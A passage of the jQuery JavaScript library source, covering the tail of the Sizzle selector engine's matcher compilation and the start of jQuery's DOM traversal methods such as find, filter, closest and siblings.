unmatched.length,\n\t\tmapped = map != null;\n\n\tfor ( ; i < len; i++ ) {\n\t\tif ( (elem = unmatched[i]) ) {\n\t\t\tif ( !filter || filter( elem, context, xml ) ) {\n\t\t\t\tnewUnmatched.push( elem );\n\t\t\t\tif ( mapped ) {\n\t\t\t\t\tmap.push( i );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn newUnmatched;\n}\n\nfunction setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {\n\tif ( postFilter && !postFilter[ expando ] ) {\n\t\tpostFilter = setMatcher( postFilter );\n\t}\n\tif ( postFinder && !postFinder[ expando ] ) {\n\t\tpostFinder = setMatcher( postFinder, postSelector );\n\t}\n\treturn markFunction(function( seed, results, context, xml ) {\n\t\tvar temp, i, elem,\n\t\t\tpreMap = [],\n\t\t\tpostMap = [],\n\t\t\tpreexisting = results.length,\n\n\t\t\t// Get initial elements from seed or context\n\t\t\telems = seed || multipleContexts( selector || \"*\", context.nodeType ? [ context ] : context, [] ),\n\n\t\t\t// Prefilter to get matcher input, preserving a map for seed-results synchronization\n\t\t\tmatcherIn = preFilter && ( seed || !selector ) ?\n\t\t\t\tcondense( elems, preMap, preFilter, context, xml ) :\n\t\t\t\telems,\n\n\t\t\tmatcherOut = matcher ?\n\t\t\t\t// If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results,\n\t\t\t\tpostFinder || ( seed ? preFilter : preexisting || postFilter ) ?\n\n\t\t\t\t\t// ...intermediate processing is necessary\n\t\t\t\t\t[] :\n\n\t\t\t\t\t// ...otherwise use results directly\n\t\t\t\t\tresults :\n\t\t\t\tmatcherIn;\n\n\t\t// Find primary matches\n\t\tif ( matcher ) {\n\t\t\tmatcher( matcherIn, matcherOut, context, xml );\n\t\t}\n\n\t\t// Apply postFilter\n\t\tif ( postFilter ) {\n\t\t\ttemp = condense( matcherOut, postMap );\n\t\t\tpostFilter( temp, [], context, xml );\n\n\t\t\t// Un-match failing elements by moving them back to matcherIn\n\t\t\ti = temp.length;\n\t\t\twhile ( i-- ) {\n\t\t\t\tif ( (elem = temp[i]) ) {\n\t\t\t\t\tmatcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif ( seed ) {\n\t\t\tif ( postFinder || preFilter ) {\n\t\t\t\tif ( postFinder ) {\n\t\t\t\t\t// Get the final matcherOut by condensing this intermediate into postFinder contexts\n\t\t\t\t\ttemp = [];\n\t\t\t\t\ti = matcherOut.length;\n\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\tif ( (elem = matcherOut[i]) ) {\n\t\t\t\t\t\t\t// Restore matcherIn since elem is not yet a final match\n\t\t\t\t\t\t\ttemp.push( (matcherIn[i] = elem) );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tpostFinder( null, (matcherOut = []), temp, xml );\n\t\t\t\t}\n\n\t\t\t\t// Move matched elements from seed to results to keep them synchronized\n\t\t\t\ti = matcherOut.length;\n\t\t\t\twhile ( i-- ) {\n\t\t\t\t\tif ( (elem = matcherOut[i]) &&\n\t\t\t\t\t\t(temp = postFinder ? indexOf( seed, elem ) : preMap[i]) > -1 ) {\n\n\t\t\t\t\t\tseed[temp] = !(results[temp] = elem);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Add elements to results, through postFinder if defined\n\t\t} else {\n\t\t\tmatcherOut = condense(\n\t\t\t\tmatcherOut === results ?\n\t\t\t\t\tmatcherOut.splice( preexisting, matcherOut.length ) :\n\t\t\t\t\tmatcherOut\n\t\t\t);\n\t\t\tif ( postFinder ) {\n\t\t\t\tpostFinder( null, results, matcherOut, xml );\n\t\t\t} else {\n\t\t\t\tpush.apply( results, matcherOut );\n\t\t\t}\n\t\t}\n\t});\n}\n\nfunction matcherFromTokens( tokens ) {\n\tvar checkContext, matcher, j,\n\t\tlen = tokens.length,\n\t\tleadingRelative = Expr.relative[ tokens[0].type ],\n\t\timplicitRelative = leadingRelative || Expr.relative[\" \"],\n\t\ti = leadingRelative ? 1 : 0,\n\n\t\t// The foundational matcher ensures that elements are reachable from top-level context(s)\n\t\tmatchContext = addCombinator( function( elem ) {\n\t\t\treturn elem === checkContext;\n\t\t}, implicitRelative, true ),\n\t\tmatchAnyContext = addCombinator( function( elem ) {\n\t\t\treturn indexOf( checkContext, elem ) > -1;\n\t\t}, implicitRelative, true ),\n\t\tmatchers = [ function( elem, context, xml ) {\n\t\t\tvar ret = ( !leadingRelative && ( xml || context !== outermostContext ) ) || (\n\t\t\t\t(checkContext = context).nodeType ?\n\t\t\t\t\tmatchContext( elem, context, xml ) :\n\t\t\t\t\tmatchAnyContext( elem, context, xml ) );\n\t\t\t// Avoid hanging onto element (issue #299)\n\t\t\tcheckContext = null;\n\t\t\treturn ret;\n\t\t} ];\n\n\tfor ( ; i < len; i++ ) {\n\t\tif ( (matcher = Expr.relative[ tokens[i].type ]) ) {\n\t\t\tmatchers = [ addCombinator(elementMatcher( matchers ), matcher) ];\n\t\t} else {\n\t\t\tmatcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches );\n\n\t\t\t// Return special upon seeing a positional matcher\n\t\t\tif ( matcher[ expando ] ) {\n\t\t\t\t// Find the next relative operator (if any) for proper handling\n\t\t\t\tj = ++i;\n\t\t\t\tfor ( ; j < len; j++ ) {\n\t\t\t\t\tif ( Expr.relative[ tokens[j].type ] ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn setMatcher(\n\t\t\t\t\ti > 1 && elementMatcher( matchers ),\n\t\t\t\t\ti > 1 && toSelector(\n\t\t\t\t\t\t// If the preceding token was a descendant combinator, insert an implicit any-element `*`\n\t\t\t\t\t\ttokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === \" \" ? \"*\" : \"\" })\n\t\t\t\t\t).replace( rtrim, \"$1\" ),\n\t\t\t\t\tmatcher,\n\t\t\t\t\ti < j && matcherFromTokens( tokens.slice( i, j ) ),\n\t\t\t\t\tj < len && matcherFromTokens( (tokens = tokens.slice( j )) ),\n\t\t\t\t\tj < len && toSelector( tokens )\n\t\t\t\t);\n\t\t\t}\n\t\t\tmatchers.push( matcher );\n\t\t}\n\t}\n\n\treturn elementMatcher( matchers );\n}\n\nfunction matcherFromGroupMatchers( elementMatchers, setMatchers ) {\n\tvar bySet = setMatchers.length > 0,\n\t\tbyElement = elementMatchers.length > 0,\n\t\tsuperMatcher = function( seed, context, xml, results, outermost ) {\n\t\t\tvar elem, j, matcher,\n\t\t\t\tmatchedCount = 0,\n\t\t\t\ti = \"0\",\n\t\t\t\tunmatched = seed && [],\n\t\t\t\tsetMatched = [],\n\t\t\t\tcontextBackup = outermostContext,\n\t\t\t\t// We must always have either seed elements or outermost context\n\t\t\t\telems = seed || byElement && Expr.find[\"TAG\"]( \"*\", outermost ),\n\t\t\t\t// Use integer dirruns iff this is the outermost matcher\n\t\t\t\tdirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),\n\t\t\t\tlen = elems.length;\n\n\t\t\tif ( outermost ) {\n\t\t\t\toutermostContext = context === document || context || outermost;\n\t\t\t}\n\n\t\t\t// Add elements passing elementMatchers directly to results\n\t\t\t// Support: IE<9, Safari\n\t\t\t// Tolerate NodeList properties (IE: \"length\"; Safari: <number>) matching elements by id\n\t\t\tfor ( ; i !== len && (elem = elems[i]) != null; i++ ) {\n\t\t\t\tif ( byElement && elem ) {\n\t\t\t\t\tj = 0;\n\t\t\t\t\tif ( !context && elem.ownerDocument !== document ) {\n\t\t\t\t\t\tsetDocument( elem );\n\t\t\t\t\t\txml = !documentIsHTML;\n\t\t\t\t\t}\n\t\t\t\t\twhile ( (matcher = elementMatchers[j++]) ) {\n\t\t\t\t\t\tif ( matcher( elem, context || document, xml) ) {\n\t\t\t\t\t\t\tresults.push( elem );\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif ( outermost ) {\n\t\t\t\t\t\tdirruns = dirrunsUnique;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Track unmatched elements for set filters\n\t\t\t\tif ( bySet ) {\n\t\t\t\t\t// They will have gone through all possible matchers\n\t\t\t\t\tif ( (elem = !matcher && elem) ) {\n\t\t\t\t\t\tmatchedCount--;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Lengthen the array for every element, matched or not\n\t\t\t\t\tif ( seed ) {\n\t\t\t\t\t\tunmatched.push( elem );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// `i` is now the count of elements visited above, and adding it to `matchedCount`\n\t\t\t// makes the latter nonnegative.\n\t\t\tmatchedCount += i;\n\n\t\t\t// Apply set filters to unmatched elements\n\t\t\t// NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount`\n\t\t\t// equals `i`), unless we didn't visit _any_ elements in the above loop because we have\n\t\t\t// no element matchers and no seed.\n\t\t\t// Incrementing an initially-string \"0\" `i` allows `i` to remain a string only in that\n\t\t\t// case, which will result in a \"00\" `matchedCount` that differs from `i` but is also\n\t\t\t// numerically zero.\n\t\t\tif ( bySet && i !== matchedCount ) {\n\t\t\t\tj = 0;\n\t\t\t\twhile ( (matcher = setMatchers[j++]) ) {\n\t\t\t\t\tmatcher( unmatched, setMatched, context, xml );\n\t\t\t\t}\n\n\t\t\t\tif ( seed ) {\n\t\t\t\t\t// Reintegrate element matches to eliminate the need for sorting\n\t\t\t\t\tif ( matchedCount > 0 ) {\n\t\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\t\tif ( !(unmatched[i] || setMatched[i]) ) {\n\t\t\t\t\t\t\t\tsetMatched[i] = pop.call( results );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Discard index placeholder values to get only actual matches\n\t\t\t\t\tsetMatched = condense( setMatched );\n\t\t\t\t}\n\n\t\t\t\t// Add matches to results\n\t\t\t\tpush.apply( results, setMatched );\n\n\t\t\t\t// Seedless set matches succeeding multiple successful matchers stipulate sorting\n\t\t\t\tif ( outermost && !seed && setMatched.length > 0 &&\n\t\t\t\t\t( matchedCount + setMatchers.length ) > 1 ) {\n\n\t\t\t\t\tSizzle.uniqueSort( results );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Override manipulation of globals by nested matchers\n\t\t\tif ( outermost ) {\n\t\t\t\tdirruns = dirrunsUnique;\n\t\t\t\toutermostContext = contextBackup;\n\t\t\t}\n\n\t\t\treturn unmatched;\n\t\t};\n\n\treturn bySet ?\n\t\tmarkFunction( superMatcher ) :\n\t\tsuperMatcher;\n}\n\ncompile = Sizzle.compile = function( selector, match /* Internal Use Only */ ) {\n\tvar i,\n\t\tsetMatchers = [],\n\t\telementMatchers = [],\n\t\tcached = compilerCache[ selector + \" \" ];\n\n\tif ( !cached ) {\n\t\t// Generate a function of recursive functions that can be used to check each element\n\t\tif ( !match ) {\n\t\t\tmatch = tokenize( selector );\n\t\t}\n\t\ti = match.length;\n\t\twhile ( i-- ) {\n\t\t\tcached = matcherFromTokens( match[i] );\n\t\t\tif ( cached[ expando ] ) {\n\t\t\t\tsetMatchers.push( cached );\n\t\t\t} else {\n\t\t\t\telementMatchers.push( cached );\n\t\t\t}\n\t\t}\n\n\t\t// Cache the compiled function\n\t\tcached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) );\n\n\t\t// Save selector and tokenization\n\t\tcached.selector = selector;\n\t}\n\treturn cached;\n};\n\n/**\n * A low-level selection function that works with Sizzle's compiled\n *  selector functions\n * @param {String|Function} selector A selector or a pre-compiled\n *  selector function built with Sizzle.compile\n * @param {Element} context\n * @param {Array} [results]\n * @param {Array} [seed] A set of elements to match against\n */\nselect = Sizzle.select = function( selector, context, results, seed ) {\n\tvar i, tokens, token, type, find,\n\t\tcompiled = typeof selector === \"function\" && selector,\n\t\tmatch = !seed && tokenize( (selector = compiled.selector || selector) );\n\n\tresults = results || [];\n\n\t// Try to minimize operations if there is only one selector in the list and no seed\n\t// (the latter of which guarantees us context)\n\tif ( match.length === 1 ) {\n\n\t\t// Reduce context if the leading compound selector is an ID\n\t\ttokens = match[0] = match[0].slice( 0 );\n\t\tif ( tokens.length > 2 && (token = tokens[0]).type === \"ID\" &&\n\t\t\t\tcontext.nodeType === 9 && documentIsHTML && Expr.relative[ tokens[1].type ] ) {\n\n\t\t\tcontext = ( Expr.find[\"ID\"]( token.matches[0].replace(runescape, funescape), context ) || [] )[0];\n\t\t\tif ( !context ) {\n\t\t\t\treturn results;\n\n\t\t\t// Precompiled matchers will still verify ancestry, so step up a level\n\t\t\t} else if ( compiled ) {\n\t\t\t\tcontext = context.parentNode;\n\t\t\t}\n\n\t\t\tselector = selector.slice( tokens.shift().value.length );\n\t\t}\n\n\t\t// Fetch a seed set for right-to-left matching\n\t\ti = matchExpr[\"needsContext\"].test( selector ) ? 0 : tokens.length;\n\t\twhile ( i-- ) {\n\t\t\ttoken = tokens[i];\n\n\t\t\t// Abort if we hit a combinator\n\t\t\tif ( Expr.relative[ (type = token.type) ] ) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif ( (find = Expr.find[ type ]) ) {\n\t\t\t\t// Search, expanding context for leading sibling combinators\n\t\t\t\tif ( (seed = find(\n\t\t\t\t\ttoken.matches[0].replace( runescape, funescape ),\n\t\t\t\t\trsibling.test( tokens[0].type ) && testContext( context.parentNode ) || context\n\t\t\t\t)) ) {\n\n\t\t\t\t\t// If seed is empty or no tokens remain, we can return early\n\t\t\t\t\ttokens.splice( i, 1 );\n\t\t\t\t\tselector = seed.length && toSelector( tokens );\n\t\t\t\t\tif ( !selector ) {\n\t\t\t\t\t\tpush.apply( results, seed );\n\t\t\t\t\t\treturn results;\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Compile and execute a filtering function if one is not provided\n\t// Provide `match` to avoid retokenization if we modified the selector above\n\t( compiled || compile( selector, match ) )(\n\t\tseed,\n\t\tcontext,\n\t\t!documentIsHTML,\n\t\tresults,\n\t\t!context || rsibling.test( selector ) && testContext( context.parentNode ) || context\n\t);\n\treturn results;\n};\n\n// One-time assignments\n\n// Sort stability\nsupport.sortStable = expando.split(\"\").sort( sortOrder ).join(\"\") === expando;\n\n// Support: Chrome 14-35+\n// Always assume duplicates if they aren't passed to the comparison function\nsupport.detectDuplicates = !!hasDuplicate;\n\n// Initialize against the default document\nsetDocument();\n\n// Support: Webkit<537.32 - Safari 6.0.3/Chrome 25 (fixed in Chrome 27)\n// Detached nodes confoundingly follow *each other*\nsupport.sortDetached = assert(function( el ) {\n\t// Should return 1, but returns 4 (following)\n\treturn el.compareDocumentPosition( document.createElement(\"fieldset\") ) & 1;\n});\n\n// Support: IE<8\n// Prevent attribute/property \"interpolation\"\n// https://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx\nif ( !assert(function( el ) {\n\tel.innerHTML = \"<a href='#'></a>\";\n\treturn el.firstChild.getAttribute(\"href\") === \"#\" ;\n}) ) {\n\taddHandle( \"type|href|height|width\", function( elem, name, isXML ) {\n\t\tif ( !isXML ) {\n\t\t\treturn elem.getAttribute( name, name.toLowerCase() === \"type\" ? 1 : 2 );\n\t\t}\n\t});\n}\n\n// Support: IE<9\n// Use defaultValue in place of getAttribute(\"value\")\nif ( !support.attributes || !assert(function( el ) {\n\tel.innerHTML = \"<input/>\";\n\tel.firstChild.setAttribute( \"value\", \"\" );\n\treturn el.firstChild.getAttribute( \"value\" ) === \"\";\n}) ) {\n\taddHandle( \"value\", function( elem, name, isXML ) {\n\t\tif ( !isXML && elem.nodeName.toLowerCase() === \"input\" ) {\n\t\t\treturn elem.defaultValue;\n\t\t}\n\t});\n}\n\n// Support: IE<9\n// Use getAttributeNode to fetch booleans when getAttribute lies\nif ( !assert(function( el ) {\n\treturn el.getAttribute(\"disabled\") == null;\n}) ) {\n\taddHandle( booleans, function( elem, name, isXML ) {\n\t\tvar val;\n\t\tif ( !isXML ) {\n\t\t\treturn elem[ name ] === true ? name.toLowerCase() :\n\t\t\t\t\t(val = elem.getAttributeNode( name )) && val.specified ?\n\t\t\t\t\tval.value :\n\t\t\t\tnull;\n\t\t}\n\t});\n}\n\nreturn Sizzle;\n\n})( window );\n\n\n\njQuery.find = Sizzle;\njQuery.expr = Sizzle.selectors;\n\n// Deprecated\njQuery.expr[ \":\" ] = jQuery.expr.pseudos;\njQuery.uniqueSort = jQuery.unique = Sizzle.uniqueSort;\njQuery.text = Sizzle.getText;\njQuery.isXMLDoc = Sizzle.isXML;\njQuery.contains = Sizzle.contains;\njQuery.escapeSelector = Sizzle.escape;\n\n\n\n\nvar dir = function( elem, dir, until ) {\n\tvar matched = [],\n\t\ttruncate = until !== undefined;\n\n\twhile ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) {\n\t\tif ( elem.nodeType === 1 ) {\n\t\t\tif ( truncate && jQuery( elem ).is( until ) ) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tmatched.push( elem );\n\t\t}\n\t}\n\treturn matched;\n};\n\n\nvar siblings = function( n, elem ) {\n\tvar matched = [];\n\n\tfor ( ; n; n = n.nextSibling ) {\n\t\tif ( n.nodeType === 1 && n !== elem ) {\n\t\t\tmatched.push( n );\n\t\t}\n\t}\n\n\treturn matched;\n};\n\n\nvar rneedsContext = jQuery.expr.match.needsContext;\n\n\n\nfunction nodeName( elem, name ) {\n\n  return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();\n\n};\nvar rsingleTag = ( /^<([a-z][^\\/\\0>:\\x20\\t\\r\\n\\f]*)[\\x20\\t\\r\\n\\f]*\\/?>(?:<\\/\\1>|)$/i );\n\n\n\n// Implement the identical functionality for filter and not\nfunction winnow( elements, qualifier, not ) {\n\tif ( isFunction( qualifier ) ) {\n\t\treturn jQuery.grep( elements, function( elem, i ) {\n\t\t\treturn !!qualifier.call( elem, i, elem ) !== not;\n\t\t} );\n\t}\n\n\t// Single element\n\tif ( qualifier.nodeType ) {\n\t\treturn jQuery.grep( elements, function( elem ) {\n\t\t\treturn ( elem === qualifier ) !== not;\n\t\t} );\n\t}\n\n\t// Arraylike of elements (jQuery, arguments, Array)\n\tif ( typeof qualifier !== \"string\" ) {\n\t\treturn jQuery.grep( elements, function( elem ) {\n\t\t\treturn ( indexOf.call( qualifier, elem ) > -1 ) !== not;\n\t\t} );\n\t}\n\n\t// Filtered directly for both simple and complex selectors\n\treturn jQuery.filter( qualifier, elements, not );\n}\n\njQuery.filter = function( expr, elems, not ) {\n\tvar elem = elems[ 0 ];\n\n\tif ( not ) {\n\t\texpr = \":not(\" + expr + \")\";\n\t}\n\n\tif ( elems.length === 1 && elem.nodeType === 1 ) {\n\t\treturn jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [];\n\t}\n\n\treturn jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) {\n\t\treturn elem.nodeType === 1;\n\t} ) );\n};\n\njQuery.fn.extend( {\n\tfind: function( selector ) {\n\t\tvar i, ret,\n\t\t\tlen = this.length,\n\t\t\tself = this;\n\n\t\tif ( typeof selector !== \"string\" ) {\n\t\t\treturn this.pushStack( jQuery( selector ).filter( function() {\n\t\t\t\tfor ( i = 0; i < len; i++ ) {\n\t\t\t\t\tif ( jQuery.contains( self[ i ], this ) ) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} ) );\n\t\t}\n\n\t\tret = this.pushStack( [] );\n\n\t\tfor ( i = 0; i < len; i++ ) {\n\t\t\tjQuery.find( selector, self[ i ], ret );\n\t\t}\n\n\t\treturn len > 1 ? jQuery.uniqueSort( ret ) : ret;\n\t},\n\tfilter: function( selector ) {\n\t\treturn this.pushStack( winnow( this, selector || [], false ) );\n\t},\n\tnot: function( selector ) {\n\t\treturn this.pushStack( winnow( this, selector || [], true ) );\n\t},\n\tis: function( selector ) {\n\t\treturn !!winnow(\n\t\t\tthis,\n\n\t\t\t// If this is a positional/relative selector, check membership in the returned set\n\t\t\t// so $(\"p:first\").is(\"p:last\") won't return true for a doc with two \"p\".\n\t\t\ttypeof selector === \"string\" && rneedsContext.test( selector ) ?\n\t\t\t\tjQuery( selector ) :\n\t\t\t\tselector || [],\n\t\t\tfalse\n\t\t).length;\n\t}\n} );\n\n\n// Initialize a jQuery object\n\n\n// A central reference to the root jQuery(document)\nvar rootjQuery,\n\n\t// A simple way to check for HTML strings\n\t// Prioritize #id over <tag> to avoid XSS via location.hash (#9521)\n\t// Strict HTML recognition (#11290: must start with <)\n\t// Shortcut simple #id case for speed\n\trquickExpr = /^(?:\\s*(<[\\w\\W]+>)[^>]*|#([\\w-]+))$/,\n\n\tinit = jQuery.fn.init = function( selector, context, root ) {\n\t\tvar match, elem;\n\n\t\t// HANDLE: $(\"\"), $(null), $(undefined), $(false)\n\t\tif ( !selector ) {\n\t\t\treturn this;\n\t\t}\n\n\t\t// Method init() accepts an alternate rootjQuery\n\t\t// so migrate can support jQuery.sub (gh-2101)\n\t\troot = root || rootjQuery;\n\n\t\t// Handle HTML strings\n\t\tif ( typeof selector === \"string\" ) {\n\t\t\tif ( selector[ 0 ] === \"<\" &&\n\t\t\t\tselector[ selector.length - 1 ] === \">\" &&\n\t\t\t\tselector.length >= 3 ) {\n\n\t\t\t\t// Assume that strings that start and end with <> are HTML and skip the regex check\n\t\t\t\tmatch = [ null, selector, null ];\n\n\t\t\t} else {\n\t\t\t\tmatch = rquickExpr.exec( selector );\n\t\t\t}\n\n\t\t\t// Match html or make sure no context is specified for #id\n\t\t\tif ( match && ( match[ 1 ] || !context ) ) {\n\n\t\t\t\t// HANDLE: $(html) -> $(array)\n\t\t\t\tif ( match[ 1 ] ) {\n\t\t\t\t\tcontext = context instanceof jQuery ? context[ 0 ] : context;\n\n\t\t\t\t\t// Option to run scripts is true for back-compat\n\t\t\t\t\t// Intentionally let the error be thrown if parseHTML is not present\n\t\t\t\t\tjQuery.merge( this, jQuery.parseHTML(\n\t\t\t\t\t\tmatch[ 1 ],\n\t\t\t\t\t\tcontext && context.nodeType ? context.ownerDocument || context : document,\n\t\t\t\t\t\ttrue\n\t\t\t\t\t) );\n\n\t\t\t\t\t// HANDLE: $(html, props)\n\t\t\t\t\tif ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) {\n\t\t\t\t\t\tfor ( match in context ) {\n\n\t\t\t\t\t\t\t// Properties of context are called as methods if possible\n\t\t\t\t\t\t\tif ( isFunction( this[ match ] ) ) {\n\t\t\t\t\t\t\t\tthis[ match ]( context[ match ] );\n\n\t\t\t\t\t\t\t// ...and otherwise set as attributes\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tthis.attr( match, context[ match ] );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\treturn this;\n\n\t\t\t\t// HANDLE: $(#id)\n\t\t\t\t} else {\n\t\t\t\t\telem = document.getElementById( match[ 2 ] );\n\n\t\t\t\t\tif ( elem ) {\n\n\t\t\t\t\t\t// Inject the element directly into the jQuery object\n\t\t\t\t\t\tthis[ 0 ] = elem;\n\t\t\t\t\t\tthis.length = 1;\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\n\t\t\t// HANDLE: $(expr, $(...))\n\t\t\t} else if ( !context || context.jquery ) {\n\t\t\t\treturn ( context || root ).find( selector );\n\n\t\t\t// HANDLE: $(expr, context)\n\t\t\t// (which is just equivalent to: $(context).find(expr)\n\t\t\t} else {\n\t\t\t\treturn this.constructor( context ).find( selector );\n\t\t\t}\n\n\t\t// HANDLE: $(DOMElement)\n\t\t} else if ( selector.nodeType ) {\n\t\t\tthis[ 0 ] = selector;\n\t\t\tthis.length = 1;\n\t\t\treturn this;\n\n\t\t// HANDLE: $(function)\n\t\t// Shortcut for document ready\n\t\t} else if ( isFunction( selector ) ) {\n\t\t\treturn root.ready !== undefined ?\n\t\t\t\troot.ready( selector ) :\n\n\t\t\t\t// Execute immediately if ready is not present\n\t\t\t\tselector( jQuery );\n\t\t}\n\n\t\treturn jQuery.makeArray( selector, this );\n\t};\n\n// Give the init function the jQuery prototype for later instantiation\ninit.prototype = jQuery.fn;\n\n// Initialize central reference\nrootjQuery = jQuery( document );\n\n\nvar rparentsprev = /^(?:parents|prev(?:Until|All))/,\n\n\t// Methods guaranteed to produce a unique set when starting from a unique set\n\tguaranteedUnique = {\n\t\tchildren: true,\n\t\tcontents: true,\n\t\tnext: true,\n\t\tprev: true\n\t};\n\njQuery.fn.extend( {\n\thas: function( target ) {\n\t\tvar targets = jQuery( target, this ),\n\t\t\tl = targets.length;\n\n\t\treturn this.filter( function() {\n\t\t\tvar i = 0;\n\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\tif ( jQuery.contains( this, targets[ i ] ) ) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t} );\n\t},\n\n\tclosest: function( selectors, context ) {\n\t\tvar cur,\n\t\t\ti = 0,\n\t\t\tl = this.length,\n\t\t\tmatched = [],\n\t\t\ttargets = typeof selectors !== \"string\" && jQuery( selectors );\n\n\t\t// Positional selectors never match, since there's no _selection_ context\n\t\tif ( !rneedsContext.test( selectors ) ) {\n\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\tfor ( cur = this[ i ]; cur && cur !== context; cur = cur.parentNode ) {\n\n\t\t\t\t\t// Always skip document fragments\n\t\t\t\t\tif ( cur.nodeType < 11 && ( targets ?\n\t\t\t\t\t\ttargets.index( cur ) > -1 :\n\n\t\t\t\t\t\t// Don't pass non-elements to Sizzle\n\t\t\t\t\t\tcur.nodeType === 1 &&\n\t\t\t\t\t\t\tjQuery.find.matchesSelector( cur, selectors ) ) ) {\n\n\t\t\t\t\t\tmatched.push( cur );\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matched );\n\t},\n\n\t// Determine the position of an element within the set\n\tindex: function( elem ) {\n\n\t\t// No argument, return index in parent\n\t\tif ( !elem ) {\n\t\t\treturn ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1;\n\t\t}\n\n\t\t// Index in selector\n\t\tif ( typeof elem === \"string\" ) {\n\t\t\treturn indexOf.call( jQuery( elem ), this[ 0 ] );\n\t\t}\n\n\t\t// Locate the position of the desired element\n\t\treturn indexOf.call( this,\n\n\t\t\t// If it receives a jQuery object, the first element is used\n\t\t\telem.jquery ? elem[ 0 ] : elem\n\t\t);\n\t},\n\n\tadd: function( selector, context ) {\n\t\treturn this.pushStack(\n\t\t\tjQuery.uniqueSort(\n\t\t\t\tjQuery.merge( this.get(), jQuery( selector, context ) )\n\t\t\t)\n\t\t);\n\t},\n\n\taddBack: function( selector ) {\n\t\treturn this.add( selector == null ?\n\t\t\tthis.prevObject : this.prevObject.filter( selector )\n\t\t);\n\t}\n} );\n\nfunction sibling( cur, dir ) {\n\twhile ( ( cur = cur[ dir ] ) && cur.nodeType !== 1 ) {}\n\treturn cur;\n}\n\njQuery.each( {\n\tparent: function( elem ) {\n\t\tvar parent = elem.parentNode;\n\t\treturn parent && parent.nodeType !== 11 ? parent : null;\n\t},\n\tparents: function( elem ) {\n\t\treturn dir( elem, \"parentNode\" );\n\t},\n\tparentsUntil: function( elem, i, until ) {\n\t\treturn dir( elem, \"parentNode\", until );\n\t},\n\tnext: function( elem ) {\n\t\treturn sibling( elem, \"nextSibling\" );\n\t},\n\tprev: function( elem ) {\n\t\treturn sibling( elem, \"previousSibling\" );\n\t},\n\tnextAll: function( elem ) {\n\t\treturn dir( elem, \"nextSibling\" );\n\t},\n\tprevAll: function( elem ) {\n\t\treturn dir( elem, \"previousSibling\" );\n\t},\n\tnextUntil: function( elem, i, until ) {\n\t\treturn dir( elem, \"nextSibling\", until );\n\t},\n\tprevUntil: function( elem, i, until ) {\n\t\treturn dir( elem, \"previousSibling\", until );\n\t},\n\tsiblings: function( elem ) {\n\t\treturn siblings( ( elem.parentNode || {} ).firstChild, elem );\n\t},\n\tchildren: function( elem ) {\n\t\treturn siblings( elem.firstChild );\n\t},\n\tcontents: function( elem ) {\n\t\tif ( typeof elem.contentDocument !== \"undefined\" ) {\n\t\t\treturn elem.contentDocument;\n\t\t}\n\n\t\t// Support: IE 9 - 11 only, iOS 7 only, Android Browser <=4.3 only\n\t\t// Treat the template element as a regular one in browsers that\n\t\t// don't support it.\n\t\tif ( nodeName( elem, \"template\" ) ) {\n\t\t\telem = elem.content || elem;\n\t\t}\n\n\t\treturn jQuery.merge( [], elem.childNodes );\n\t}\n}, function( name, fn ) {\n\tjQuery.fn[ name ] = function( until, selector ) {\n\t\tvar matched = jQuery.map( this, fn, until );\n\n\t\tif ( name.slice( -5 ) !== \"Until\" ) {\n\t\t\tselector = until;\n\t\t}\n\n\t\tif ( selector && typeof selector === \"string\" ) {\n\t\t\tmatched = jQuery.filter( selector, matched );\n\t\t}\n\n\t\tif ( this.length > 1 ) {\n\n\t\t\t// Remove duplicates\n\t\t\tif ( !guaranteedUnique[ name ] ) {\n\t\t\t\tjQuery.uniqueSort( matched );\n\t\t\t}\n\n\t\t\t// Reverse order for parents* and prev-derivatives\n\t\t\tif ( rparentsprev.test( name ) ) 